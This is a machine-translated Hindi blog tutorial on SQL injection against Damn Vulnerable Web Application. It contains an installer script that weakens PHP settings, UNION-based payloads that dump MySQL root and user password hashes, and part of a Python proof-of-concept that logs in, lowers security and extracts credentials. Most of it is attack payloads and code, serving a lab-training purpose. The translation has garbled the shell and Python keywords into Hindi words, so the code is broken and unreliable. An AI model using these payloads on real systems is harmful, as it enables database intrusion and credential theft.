अरे संवेदनशील वेब अनुप्रयोग – SQL इंजेक्शन
लेखक:
अशफाक अंसारी

द्वारा समीक्षित:
रेटिंग:
5
पर अक्टूबर 1, 2012
अंतिम संशोधित:जनवरी 18, 2013

सारांश:

Step by step and automated approach to do SQL injection attack on Damn Vulnerable Web Application.

परिचय

अरे संवेदनशील वेब अनुप्रयोग (DVWA) एक PHP / MySQL बहुत कमजोर है और फायदा उठाया जा सकता है कि वेब अनुप्रयोग के मुख्य लक्ष्यों को एक कानूनी वातावरण में अपने कौशल और उपकरणों का परीक्षण करने के लिए सुरक्षा पेशेवरों के लिए एक सहायता के हो रहे हैं easily.Its, वेब डेवलपर्स बेहतर एक प्रयोगशाला वातावरण में वेब अनुप्रयोग सुरक्षा सिखाने / जानने के लिए हासिल वेब अनुप्रयोगों और सहायता अध्यापकों / छात्रों की प्रक्रियाओं को समझने में मदद.

चेतावनी!

अरे संवेदनशील वेब अनुप्रयोग बहुत कमजोर है! अपने होस्टिंग प्रदाता के लिए इसे अपलोड न करें public_html फ़ोल्डर या इसे काट दिया जाएगा के रूप में किसी भी काम कर वेब सर्वर. मैं डाउनलोड करने और स्थापित करने की सिफारिश XAMPP परीक्षण के लिए पूरी तरह इस्तेमाल किया जाता है जो अपने लैन के अंदर एक स्थानीय मशीन पर.
हम किसी भी एक का उपयोग करता है जिस तरह के लिए जिम्मेदारी नहीं लेते अरे संवेदनशील वेब अनुप्रयोग (DVWA). हम स्पष्ट आवेदन के प्रयोजनों बना दिया है और यह दुर्भावनापूर्ण तरीके से नहीं किया जाना चाहिए. हम वेब सर्वर के रहने के लिए चेतावनी और पर DVWA स्थापित करने से उपयोगकर्ताओं को रोकने के लिए किए गए उपायों दे दिया है. अपने वेब सर्वर की स्थापना के माध्यम से समझौता किया है DVWA यह हमारी जिम्मेदारी नहीं है कि यह इसे अपलोड करने और स्थापित करने वाले व्यक्ति की जिम्मेदारी है.

स्थापना

आम तौर पर हम जरूरत XAMPP लानत चपेट वेब आवेदन करने के लिए सेटअप सर्वर लेकिन XAMPP सर्वर पर कुछ भी नहीं का एक संग्रह है अपेक, एसक्यूएल, पर्ल, PHP, ओपनएसएसएल और लेकिन अन्य सर्वर साइड सॉफ्टवेयर की पीछे 5 इन सॉफ्टवेयर स्थापित किया है की सब किया है. यह पीछे मशीन पर XAMPP स्थापित करने की कोई जरूरत नहीं है इसका मतलब. तुम सब करने की ज़रूरत धिक्कार संवेदनशील वेब अनुप्रयोग पाने के लिए और के रूट निर्देशिका पर डाल दिया है पीछे 5.

एक अद्भुत पार्टी की योजना बनाई स्क्रिप्ट सभी प्रक्रिया को स्वचालित है कि उपलब्ध है. धन्यवाद करने के लिए: ट्रैविस फिलिप्स.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#/bin/bash
गूंज ""
गूंज "# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #"
गूंज "अरे संवेदनशील वेब अनुप्रयोग इंस्टॉलर स्क्रिप्ट #"
गूंज "# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #"
गूंज "द्वारा कोडित: ट्रैविस फिलिप्स"
गूंज "वेबसाइट: एचटीटीपी://theunl33t.blogspot.com\पता"
गूंज "द्वारा संशोधित: अशफाक अंसारी\पता"
गूंज "वेबसाइट: एचटीटीपी://hacksys.vfreaks.com\पता"

गूंज "[*] निर्देशिका में / var / www बदलने ..."
सीडी /था/www &जी.टी.; /देव/शून्य
गूंज -और "ठीक है!\पता"

गूंज -पता "[*] DVWA निर्देशिका बना रहा है ..."
mkdir dvwa &जी.टी.; /देव/शून्य
गूंज -और "ठीक है!\पता"

गूंज -पता "[*] अस्थायी निर्देशिका को बदलने ..."
सीडी /tmp
गूंज -और "ठीक है!\पता"

गूंज "[*] DVWA डाउनलोड ..."
wget एचटीटीपी://voxel.dl.sourceforge.net/परियोजना/dvwa/DVWA-1.0.7.zip
गूंज -और "ठीक है!\पता"

गूंज -पता "[*] DVWA unzipping ..."
खोलना DVWA-1.0.7.zip &जी.टी.; /देव/शून्य
गूंज -और "ठीक है!\पता"

गूंज -पता "[*] ज़िप फ़ाइल हटा रहा है ..."
आरएम DVWA-1.0.7.zip &जी.टी.; /देव/शून्य
गूंज -और "ठीक है!\पता"

गूंज -पता "[*] वेब निर्देशिका की जड़ को dvwa कॉपी कर रहा है ..."
वाणिज्यिक पेपर -आर dvwa/* /था/www/dvwa &जी.टी.; /देव/शून्य
गूंज -और "ठीक है!\पता"

गूंज -पता "[*] क्लियरिंग अस्थायी निर्देशिका ..."
आरएम -आर dvwa &जी.टी.; /देव/शून्य
गूंज -और "ठीक है!\पता"

गूंज -पता "[*] सक्षम करने से रिमोट php.ini में शामिल हैं ..."
वाणिज्यिक पेपर /आदि/php5/apache2/php.ini /आदि/php5/apache2/php.ini1
प्यास -और 'एस / allow_url_include = / बंद allow_url_include = पर /' /आदि/php5/apache2/php.ini1 &जी.टी.; /आदि/php5/apache2/php.ini
आरएम /आदि/php5/apache2/php.ini1
गूंज -और "ठीक है!\पता"

गूंज -पता "[*] / Var / www / dvwa अपलोड / / hackable लिखने की अनुमति को सक्रिय करना ..."
परिवर्तन विद्या 777 /था/www/dvwa/hackable/अपलोड/
गूंज -और "ठीक है!\पता"

गूंज -पता "[*] वेब सेवा शुरू ..."
सेवा apache2 शुरू &&जी.टी.; /देव/शून्य
गूंज -और "ठीक है!\पता"

गूंज -पता "[*] MySQL के शुरू ..."
सेवा mysql शुरू &&जी.टी.; /देव/शून्य
गूंज -और "ठीक है!\पता"

गूंज -पता "[*] विन्यास फाइल अद्यतन ..."
वाणिज्यिक पेपर /था/www/dvwa/विन्यास/config.inc.php /था/www/dvwa/विन्यास/config.inc.php1
प्यास -और 'एस /'\'\''/'\''तूर'\''/' /था/www/dvwa/विन्यास/config.inc.php1 &जी.टी.; /था/www/dvwa/विन्यास/config.inc.php
आरएम /था/www/dvwa/विन्यास/config.inc.php1
गूंज -और "ठीक है!\पता"

गूंज -पता "[*] डाटाबेस अद्यतन कर रहा है ..."
wget --बाद के डेटा "Create_db = बनाएँ / डाटाबेस रीसेट" एचटीटीपी://127.0.0.1/dvwa/setup.php &&जी.टी.; /देव/शून्य
mysql -आप जड़ --पासवर्ड='तूर' -और 'अपडेट dvwa.users अवतार = "/ hackable / उपयोगकर्ताओं / सेट gordonb.jpg" जहां उपयोगकर्ता = "gordonb";'
mysql -आप जड़ --पासवर्ड='तूर' -और 'अपडेट dvwa.users अवतार = "/ hackable / उपयोगकर्ताओं / सेट smithy.jpg" जहां उपयोगकर्ता = "लोहार";'
mysql -आप जड़ --पासवर्ड='तूर' -और 'अपडेट dvwa.users अवतार = "/ hackable / उपयोगकर्ताओं / सेट admin.jpg" जहां उपयोगकर्ता = "व्यवस्थापक";'
mysql -आप जड़ --पासवर्ड='तूर' -और 'अपडेट dvwa.users अवतार = "/ hackable / उपयोगकर्ताओं / सेट pablo.jpg" जहां उपयोगकर्ता = "पाब्लो";'
mysql -आप जड़ --पासवर्ड='तूर' -और 'अपडेट dvwa.users अवतार = "/ hackable/users/1337.jpg सेट" जहां उपयोगकर्ता = "1337";'
गूंज -और "ठीक है!\पता"

गूंज -और -पता "[*] DVWA लिए फ़ायरफ़ॉक्स शुरू\पताउपयोगकर्ता नाम: प्रशासन\पतापासवर्ड: पासवर्ड"
फ़ायरफ़ॉक्स एचटीटीपी://127.0.0.1/dvwa/login.php &&जी.टी.; /देव/शून्य &
गूंज -और "\पताडन!\पता"
गूंज -और "[\033[1;32मी * 033[1;37मीटर] DVWA स्थापित समाप्त!\पता"

DVWA सफलतापूर्वक स्थापित किया गया है, SQL इंजेक्शन के लिए कदम चलो. अरे संवेदनशील वेब अनुप्रयोग पर तीन SQL इंजेक्शन स्तर हैं (निम्न, मध्यम और उच्च). इस पोस्ट में हम निम्न स्तर को हराने के लिए समझाना होगा.

कमजोर कोड

1
2
3
4
5
6
$पहचान=$_GET['आईडी'];

$getid="FIRST_NAME का चयन करें, कहां user_id = 'उपयोगकर्ता से LAST_NAME$पहचान'";
$परिणाम=mysql_query($getid) या die('
<पूर्व>'
. mysql_error() . '</पूर्व>
'
);

ऊपर कोड की चपेट में है SQL इंजेक्शन. आप देख सकते हैं के रूप में इस्तेमाल नहीं स्वच्छता वहाँ है, चर बस सीधे एसक्यूएल क्वेरी में डाला जाता है.

यह SQL इंजेक्शन के लिए जोखिम रहता है कि क्या की पुष्टि चलो:

UserID: ‘

पेज निम्न त्रुटि संदेश दिया:

आप अपने SQL वाक्यविन्यास में एक त्रुटि है; पास का उपयोग करने के लिए सही वाक्यविन्यास के लिए अपने MySQL सर्वर संस्करण से मेल खाती है मैनुअल की जाँच करें ””’ लाइन पर 1

यह यह SQL इंजेक्शन के लिए असुरक्षित है कि इस बात की पुष्टि, पहली बात कर रहे हैं कि कितने कॉलम पता लगाना है:

UserID: ‘ आदेश द्वारा 1#
UserID: ‘ आदेश द्वारा 2#

ये सिर्फ एक ही पेज वापसी.

UserID: ‘ आदेश द्वारा 3#

Then this gives us an invaluable error message:

अज्ञात स्तंभ '3’ 'आदेश खंड में’

अत:, there are two columns, which are obviously the first_name and last_name columns as when you pass the UserID: form a valid User ID (1) for example you get this:

आईडी: 1
प्रथम नाम: प्रशासन
उपनाम: प्रशासन

सही, अब अपने समय डेटाबेस का नाम पता लगाने के लिए, तालिका नाम, स्तंभ नाम और कुछ उपयोगी और दिलचस्प. पहली बात सबसे पहले के डेटाबेस संस्करण पता करते हैं:

आईडी: ‘ UNION ALL SELECT 1,@@VERSION#
प्रथम नाम: 1
उपनाम: 5.1.41-3ubuntu12.10

So it is using MySQL 5.1.41-3 पर उबंटू. Lets find the user the database is running as and the name of the database we are dealing with:

आईडी: ‘ UNION ALL SELECT user(),database()#
प्रथम नाम: root@localhost
उपनाम: dvwa

The database user is जड़ and the database we are concerned with is dvwa. चूंकि उपयोगकर्ता के जड़ के MySQL हैश डंप करते हैं:

आईडी: ‘ UNION ALL SELECT user,password FROM mysql.user#
प्रथम नाम: जड़
उपनाम: *9CFBBC772F3F6C106020035386DA5BBBF1249A11

आईडी: ‘ UNION ALL SELECT user,password FROM mysql.user#
प्रथम नाम: जड़
उपनाम: *9CFBBC772F3F6C106020035386DA5BBBF1249A11

आईडी: ‘ UNION ALL SELECT user,password FROM mysql.user#
प्रथम नाम: जड़
उपनाम: *9CFBBC772F3F6C106020035386DA5BBBF1249A11

आईडी: ‘ UNION ALL SELECT user,password FROM mysql.user#
प्रथम नाम: debian-sys-maint
उपनाम: *8C4C424D182238AFBA8B217F692D07C952EF4087

आईडी: ‘ UNION ALL SELECT user,password FROM mysql.user#
प्रथम नाम: जड़
उपनाम: *9CFBBC772F3F6C106020035386DA5BBBF1249A11

आईडी: ‘ UNION ALL SELECT user,password FROM mysql.user#
प्रथम नाम: प्रशासन
उपनाम: *9CFBBC772F3F6C106020035386DA5BBBF1249A11

Wow! We got the root passord hash. We can use जॉन खूनी to crack the hash.

We know the database name is dvwa. तालिका नाम पता करते हैं:

आईडी: ‘ UNION ALL SELECT table_schema,information_schema.tables कहां TABLE_SCHEMA LIKE '% dvwa% से table_name’ #
प्रथम नाम: dvwa
उपनाम: न्यूज़

आईडी: ‘ UNION ALL SELECT table_schema,information_schema.tables कहां TABLE_SCHEMA LIKE '% dvwa% से table_name’ #
प्रथम नाम: dvwa
उपनाम: उपयोगकर्ताओं

में दो तालिकाओं कर रहे हैं dvwa के रूप में नाम डेटाबेस न्यूज़ और उपयोगकर्ताओं

अब, के दशक में कॉलम ढूँढते हैं उपयोगकर्ताओं table.

आईडी: ‘ UNION ALL SELECT table_schema, information_schema.columns कहां TABLE_SCHEMA LIKE '% dvwa% से COLUMN_NAME,’ #
प्रथम नाम: dvwa
उपनाम: comment_id

आईडी: ‘ UNION ALL SELECT table_schema, information_schema.columns कहां TABLE_SCHEMA LIKE '% dvwa% से COLUMN_NAME,’ #
प्रथम नाम: dvwa
उपनाम: comment

आईडी: ‘ UNION ALL SELECT table_schema, information_schema.columns कहां TABLE_SCHEMA LIKE '% dvwa% से COLUMN_NAME,’ #
प्रथम नाम: dvwa
उपनाम: name

आईडी: ‘ UNION ALL SELECT table_schema, information_schema.columns कहां TABLE_SCHEMA LIKE '% dvwa% से COLUMN_NAME,’ #
प्रथम नाम: dvwa
उपनाम: user_id

आईडी: ‘ UNION ALL SELECT table_schema, information_schema.columns कहां TABLE_SCHEMA LIKE '% dvwa% से COLUMN_NAME,’ #
प्रथम नाम: dvwa
उपनाम: FIRST_NAME

आईडी: ‘ UNION ALL SELECT table_schema, information_schema.columns कहां TABLE_SCHEMA LIKE '% dvwa% से COLUMN_NAME,’ #
प्रथम नाम: dvwa
उपनाम: LAST_NAME

आईडी: ‘ UNION ALL SELECT table_schema, information_schema.columns कहां TABLE_SCHEMA LIKE '% dvwa% से COLUMN_NAME,’ #
प्रथम नाम: dvwa
उपनाम: उपयोगकर्ता

आईडी: ‘ UNION ALL SELECT table_schema, information_schema.columns कहां TABLE_SCHEMA LIKE '% dvwa% से COLUMN_NAME,’ #
प्रथम नाम: dvwa
उपनाम: पासवर्ड

आईडी: ‘ UNION ALL SELECT table_schema, information_schema.columns कहां TABLE_SCHEMA LIKE '% dvwa% से COLUMN_NAME,’ #
प्रथम नाम: dvwa
उपनाम: अवतार

बहुत बढ़िया, के यूज़रनेम और पासवर्ड से डंप करते हैं dvwa.users table. शुरू करते हैं.

आईडी: ‘ UNION ALL SELECT user, dvwa.users से पासवर्ड #
प्रथम नाम: प्रशासन
उपनाम: 5f4dcc3b5aa765d61d8327deb882cf99

आईडी: ‘ UNION ALL SELECT user, dvwa.users से पासवर्ड #
प्रथम नाम: gordonb
उपनाम: e99a18c428cb38d5f260853678922e03

आईडी: ‘ UNION ALL SELECT user, dvwa.users से पासवर्ड #
प्रथम नाम: 1337
उपनाम: 8d3533d75ae2c3966d7e0d4fcc69216b

आईडी: ‘ UNION ALL SELECT user, dvwa.users से पासवर्ड #
प्रथम नाम: पाब्लो
उपनाम: 0d107d09f5bbe40cade3de5c71e9e9b7

आईडी: ‘ UNION ALL SELECT user, dvwa.users से पासवर्ड #
प्रथम नाम: लोहार
उपनाम: 5f4dcc3b5aa765d61d8327deb882cf99

नौकरी किया. हम सफलतापूर्वक उपयोगकर्ता क्रेडेंशियल्स छोड़ दिया है. हम किसी भी एमडी 5 हैश पटाखा का उपयोग कर उन्हें दरार हो सकता है.

HackSys टीम पायथन में एक PoC पैदा कर दी है कि में एड्स स्वचालित एसक्यूएल DVWA पर इंजेक्शन और हम नियमित रूप से खोल आदेश चला सकते हैं, जहां एक शेल प्रांप्ट देता है.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
#!/Usr / bin / अजगर
#________________________________________________
#    अरे संवेदनशील वेब अनुप्रयोग - DVWA
#     एसक्यूएल इंजेक्शन RCE को शोषण - PoC
#   अशफाक अंसारी द्वारा (hacksysteam@hotmail.com)                                            
#                                                                                          
#            (__)                                                                          
#            (लिमिटेड)   एचटीटीपी://hacksys.vfreaks.com /
#     /-------\/                                                                          
#    / |     ||                                                                            
#   *  ||----||                                                                            
#      ~~ ~~ HackSys टीम द्वारा पावर - पेंथेरा
#________________________________________________
#
आयात व्यवस्था, सॉकेट, urllib, फिर से, urllib2, getpass, स्ट्रिंग, समय, यादृच्छिक, base64
से optparse आयात OptionParser
से cookielib आयात CookieJar

descLogo = """
________________________________________________

     अरे संवेदनशील वेब अनुप्रयोग - DVWA
           RCE को एसक्यूएल इंजेक्शन - PoC
   अशफाक अंसारी द्वारा (hacksysteam@hotmail.com)

            (__)
            (लिमिटेड)  एचटीटीपी://hacksys.vfreaks.com /
     /-------\/
    / |     ||
   *  ||----||
      ~~ ~~ HackSys टीम द्वारा पावर - पेंथेरा
________________________________________________

"""


#प्रिंट कमांड के साथ इस्तेमाल किया जा करने के लिए रंग चर
लाल= "\033[31मीटर" # लाल
ग्रीन= "\033[32मीटर" # ग्रीन
सफेद= "\033[0मीटर" # सफ़ेद
सियान = "\033[36मीटर" #सियान
बैंगनी = "\033[35मीटर" #बैंगनी

#चर
urlStart = "कमजोरियों / SQLI / index.php?आईडी ="
urlEnd = "&सबमिट = सबमिट करें"
shellName = "Fd7cb4cb0031ba249"
एजेंट = ["Mozilla/4.0 (संगत; MSIE 5.5; विंडोज एन टी 5.0)",
    "इंटरनेट एक्सप्लोरर 7 (विंडोज विस्टा); Mozilla/4.0 ",
    "गूगल क्रोम 0.2.149.29 (विंडोज एक्सपी)",
    "ओपेरा 9.25 (विंडोज विस्टा)",
    "Mozilla/4.0 (संगत; MSIE 7.0b; विंडोज एन टी 5.1)",
    "Opera/8.00 (विंडोज एन टी 5.1; आप; में)"]
एजेंट = यादृच्छिक.चुनाव(एजेंट)


#उपयोग मदद सारांश
प्रयोग = सियान + ". /% ठेला [<विकल्प>] -टी [लक्ष्य] -घ [डायरेक्टरी]"
प्रयोग += "\पताउदाहरण: ./%ठेला पी लोकलहोस्ट:8080 -टी 192.168.1.15:8080 -घ / dvwa /"

#पार्सर विकल्प
पद व्याख्यायित्र = OptionParser(प्रयोग=प्रयोग)
पद व्याख्यायित्र.add_option("पी", टाइप="स्ट्रिंग",कार्रवाई="दुकान", गंतव्य="प्रॉक्सी",
                  मदद="HTTP प्रॉक्सी <सेवक:बंदरगाह>")
पद व्याख्यायित्र.add_option("आयकर", टाइप="स्ट्रिंग", कार्रवाई="दुकान", गंतव्य="लक्ष्य",
                  मदद="लक्ष्य सर्वर <सेवक:बंदरगाह>")
पद व्याख्यायित्र.add_option('घ", टाइप="स्ट्रिंग", कार्रवाई="दुकान", गंतव्य="DirPath",
                  मदद=अरे संवेदनशील वेब अनुप्रयोग के लिए "निर्देशिका पथ")
(विकल्प, args) = पद व्याख्यायित्र.parse_args()


#पाठ टंकण - बस मज़े के लिए
डीईएफ़ typingText(पाठ संदेश, रंग):
 
  कोशिश:
    के लिए मैं में पाठ संदेश:
      प्रिंट रंग + "\ख%एस"%मैं,
      व्यवस्था.stdout.उड़ जाना()
      समय.नींद(0.020)
  सिवाय:
    पास
 

अगर केवल(व्यवस्था.argv) < 5:
    typingText(descLogo, बैंगनी)
    पद व्याख्यायित्र.print_help()
    व्यवस्था.निकास(1)
   

#प्रॉक्सी हैंडलर
डीईएफ़ getProxy():
 
    कोशिश:
        proxy_handler = urllib2.प्रॉक्सी हैंडलर({'Http': विकल्प.प्रतिनिधि})
    सिवाय(सॉकेट.मध्यांतर):
            प्रिंट लाल + "\टीप्रॉक्सी का समय समाप्त हो ...\पता"
            व्यवस्था.निकास(1)
    वापसी proxy_handler


#टेस्ट प्रॉक्सी कनेक्शन
डीईएफ़ testProxy():
 
    प्रिंट(सियान + "[+] छद्म परीक्षण @% है ..." % (विकल्प.प्रतिनिधि))
    खोलनेवाला = urllib2.build_opener(getProxy())
   
    कोशिश:
      चेक = खोलनेवाला.खुला("एचटीटीपी://www.google.com").पढ़ना()
    सिवाय:
      चेक = 0
      पास
   
    अगर चेक >= 1:
      प्रिंट(ग्रीन + "\टीप्रॉक्सी काम हो पाया है ...\पता")
    अन्य:
      प्रिंट लाल + "\टीप्रॉक्सी विफल रहा है ... बाहर निकल रहा है!\पता"
      व्यवस्था.निकास(1)


#सर्वर से प्रतिक्रिया प्राप्त करें
डीईएफ़ getServerResponse(मुख्य न्यायाधीश, targetURL, डेटा):
     
    अगर विकल्प.प्रतिनिधि:
      कोशिश:
    खोलनेवाला = urllib2.build_opener(getProxy(), urllib2.HTTPCookieProcessor(मुख्य न्यायाधीश))
    खोलनेवाला.addheaders = [('यूजर एजेंट', एजेंट)]
    चेक = खोलनेवाला.खुला(targetURL, डेटा).पढ़ना()
    वापसी चेक
      सिवाय:
    प्रिंट (लाल + "\टीप्रॉक्सी कनेक्शन दूरदराज के लक्ष्य करने में विफल रहा ...\पता")
    व्यवस्था.निकास(1)
    अन्य:
      कोशिश:
    खोलनेवाला = urllib2.build_opener(urllib2.HTTPCookieProcessor(मुख्य न्यायाधीश))
    खोलनेवाला.addheaders = [('यूजर एजेंट', एजेंट)]
    चेक = खोलनेवाला.खुला(targetURL, डेटा).पढ़ना()
    वापसी चेक
      सिवाय:
    प्रिंट (लाल + "\टीलक्ष्य कनेक्शन विफल, आपके पते की जाँच करें ...\पता")
    व्यवस्था.निकास(1)


#संवेदनशील वेब अनुप्रयोग धिक्कार को प्रवेश करने की कोशिश
डीईएफ़ doLogin():
 
    प्रिंट(सियान + "[+] DVWA में प्रवेश की कोशिश कर रहा है ...")
    targetURL = "एचटीटीपी://" + विकल्प.लक्ष्य + विकल्प.dirPath + "Login.php"
    मानों = {'उपयोगकर्ता नाम' : 'व्यवस्थापक', 'पासवर्ड' : 'पासवर्ड', 'लॉगइन' : 'लॉगइन'}
    डेटा = urllib.urlencode(मानों)
    मुख्य न्यायाधीश = CookieJar()
   
    #सर्वर से प्रतिक्रिया पाने के लिए और यह एक चर में दुकान
    respHTML = getServerResponse(मुख्य न्यायाधीश, targetURL, डेटा)
       
    अगर नहीं फिर से.खोज("लॉगिन विफल", respHTML):
      समय.नींद(1)
      typingText("\टीप्रमाणीकरण सफल ...\पता\पता", ग्रीन)
      वापसी मुख्य न्यायाधीश
    अन्य:
      समय.नींद(1)
      typingText("\टीप्रमाणीकरण से इनकार! बाहर निकल रहा है ...\पता\पता\पता", लाल)
      व्यवस्था.निकास(1)


#अरे संवेदनशील वेब अनुप्रयोग के सुरक्षा स्तर tamperthe की कोशिश करें
डीईएफ़ lowSecurity(adminCookie):
 
    प्रिंट(सियान + "[+] DVWA की सुरक्षा छेड़छाड़ ...")
    targetURL = "एचटीटीपी://" + विकल्प.लक्ष्य + विकल्प.dirPath + "Security.php"
    मानों = {'सुरक्षा' : 'कम', 'Seclev_submit' : 'जमा करें'}
    डेटा = urllib.urlencode(मानों)
    मुख्य न्यायाधीश = adminCookie #कुकी doLogin से लौटे प्रयोग करें() समारोह
   
    #सर्वर से प्रतिक्रिया पाने के लिए और यह एक चर में दुकान
    respHTML = getServerResponse(मुख्य न्यायाधीश, targetURL, डेटा)
   
    अगर फिर से.खोज("Security Level is currently <में>निम्न</में>", respHTML):
      समय.नींद(1)
      typingText("\टीसुरक्षा का स्तर कम करने के लिए सफल सेट ...\पता\पता", ग्रीन)
    अन्य:
      समय.नींद(1)
      typingText("\टीसुरक्षा स्तर छेड़छाड़ करने में असमर्थ! बाहर निकल रहा है ...\पता\पता", लाल)
      व्यवस्था.निकास(1)


#अगर लक्ष्य एसक्यूएल इंजेक्शन की चपेट में है की जाँच करें
डीईएफ़ testSQLinjection(adminCookie):
 
    प्रिंट(सियान + "[+] जांच की जा रही है, तो लक्ष्य की चपेट में है ...")
    injection_url = "1'"
    targetURL = "एचटीटीपी://" + विकल्प.लक्ष्य + विकल्प.dirPath + urlStart + injection_url + urlEnd
    डेटा = ""
   
    मुख्य न्यायाधीश = adminCookie #कुकी doLogin से लौटे प्रयोग करें() समारोह

    #सर्वर से प्रतिक्रिया पाने के लिए और यह एक चर में दुकान
    respHTML = getServerResponse(मुख्य न्यायाधीश, targetURL, डेटा)
   
    अगर फिर से.खोज("error in your SQL syntax", respHTML):
      समय.नींद(1)
      typingText("\टीw00t -- लक्ष्य कमजोर हो पाया ...\पता\पता", ग्रीन)
    अन्य:
      समय.नींद(1)
      typingText("\टीo00w -- लक्ष्य कमजोर नहीं है! बाहर निकल रहा है ...\पता\पता", लाल)    
      व्यवस्था.निकास(1)


#MySQL के विवरण का पता लगाएं
डीईएफ़ findMySQLInfo(adminCookie):
 
    प्रिंट(सियान + "[+] MySQL की जानकारी पुन: प्राप्त करने ...")
    injection_url = "1'+UNION+ALL+SELECT+concat_ws(0x3b,0x4861636b537973205465616d,उपयोगकर्ता(),database(),संस्करण(),0x4861636b537973205465616d)%2सी 2, #"
    targetURL = "एचटीटीपी://" + विकल्प.लक्ष्य + विकल्प.dirPath + urlStart + injection_url + urlEnd
    डेटा = ""
   
    मुख्य न्यायाधीश = adminCookie #कुकी doLogin से लौटे प्रयोग करें() समारोह

    #सर्वर से प्रतिक्रिया पाने के लिए और यह एक चर में दुकान
    respHTML = getServerResponse(मुख्य न्यायाधीश, targetURL, डेटा)
   
    # अब दिलचस्प जानकारी निकालने
    get_secret_data = स्ट्रिंग.खोज(respHTML,  "HackSys टीम")
     
    # लक्ष्य की चपेट से बाहर निकलें नहीं है, तो
    अगर get_secret_data == -1:
        typingText("\टीऑपरेशन विफल. अब बाहर निकल रहा है ...\पता\पता", लाल)
        व्यवस्था.निकास(1)
         
    get_secret_data += 10
    new_html4= respHTML[get_secret_data :]
    new_get_secret_data4 = स्ट्रिंग.खोज(new_html4,  "HackSys टीम")
    new_html_5 = new_html4[:new_get_secret_data4]
             
    # डाटा प्राप्त किया गया था, अब प्रारूप और यह प्रदर्शित
    formatted_output = एसटीआर.विभाजित करें(new_html_5,  ";")
    समय.नींद(1)
    प्रिंट ग्रीन + "\टीडाटाबेस: ",  formatted_output[2]
    प्रिंट ग्रीन + "\टीMySQL के संस्करण : ",  formatted_output[3]
    प्रिंट ग्रीन + "\टीडाटाबेस प्रयोक्ता : ",  formatted_output[1]
    प्रिंट ""
    वापसी


#उपयोगकर्ताओं को तालिका में अभिलेखों की संख्या की कोशिश करें
डीईएफ़ findNoOfRecordsInTable(adminCookie):
       
    injection_url = "1'+UNION+ALL+SELECT+1%2C+COUNT(*)+ उपयोगकर्ता% 3 बी% 23 से"
    targetURL = "एचटीटीपी://" + विकल्प.लक्ष्य + विकल्प.dirPath + urlStart + injection_url + urlEnd
    डेटा = ""
   
    मुख्य न्यायाधीश = adminCookie #कुकी doLogin से लौटे प्रयोग करें() समारोह

    #सर्वर से प्रतिक्रिया पाने के लिए और यह एक चर में दुकान
    respHTML = getServerResponse(मुख्य न्यायाधीश, targetURL, डेटा)
   
    # अब दिलचस्प जानकारी निकालने
    get_secret_data = स्ट्रिंग.खोज(respHTML,  "<br>उपनाम:")
    get_secret_data += 40    
    new_html = respHTML[get_secret_data :]
    new_get_secret_data = स्ट्रिंग.खोज(new_html,  "</पूर्व>\र\पता\र\पता\टी</div>")  
    new_html_2 = new_html[:new_get_secret_data]

    # डाटा प्राप्त किया गया था, अब प्रारूप और यह प्रदर्शित
    formatted_output = एसटीआर.विभाजित करें(new_html_2,  ": ")
    वापसी formatted_output[2]
   

#उपयोगकर्ताओं को तालिका से उपयोगकर्ता नाम नाम और पासवर्ड डंप करने के लिए प्रयास करें
डीईएफ़ findUserPasswords(adminCookie, अनुक्रमणिका):
 
    injection_url = "1'+UNION+ALL+SELECT+1%2C+concat_ws(0x3b,0x4861636b537973205465616d,user_id,first_name,last_name,user,password,0x4861636b537973205465616d)++ से उन + सीमा +" + एसटीआर(अनुक्रमणिका) + "%2C30%3B%23"
    targetURL = "एचटीटीपी://" + विकल्प.लक्ष्य + विकल्प.dirPath + urlStart + injection_url + urlEnd
    डेटा = ""
   
    मुख्य न्यायाधीश = adminCookie #कुकी doLogin से लौटे प्रयोग करें() समारोह

    #सर्वर से प्रतिक्रिया पाने के लिए और यह एक चर में दुकान
    respHTML = getServerResponse(मुख्य न्यायाधीश, targetURL, डेटा)
   
    # अब दिलचस्प जानकारी निकालने
    get_secret_data = स्ट्रिंग.खोज(respHTML,  "HackSys टीम")
    get_secret_data += 10    
    new_html = respHTML[get_secret_data :]
    new_get_secret_data = स्ट्रिंग.खोज(new_html,  "HackSys टीम")    
    new_html_2 = new_html[:new_get_secret_data]

    # डाटा प्राप्त किया गया था, अब प्रारूप और यह प्रदर्शित
    formatted_output = एसटीआर.विभाजित करें(new_html_2,  ";")
    समय.नींद(1)
    प्रिंट ग्रीन + "\टीयूजर आईडी : ",  formatted_output[1]
    प्रिंट ग्रीन + "\टीप्रथम नाम: ",  formatted_output[2]
    प्रिंट ग्रीन + "\टीअंतिम नाम : ",  formatted_output[3]
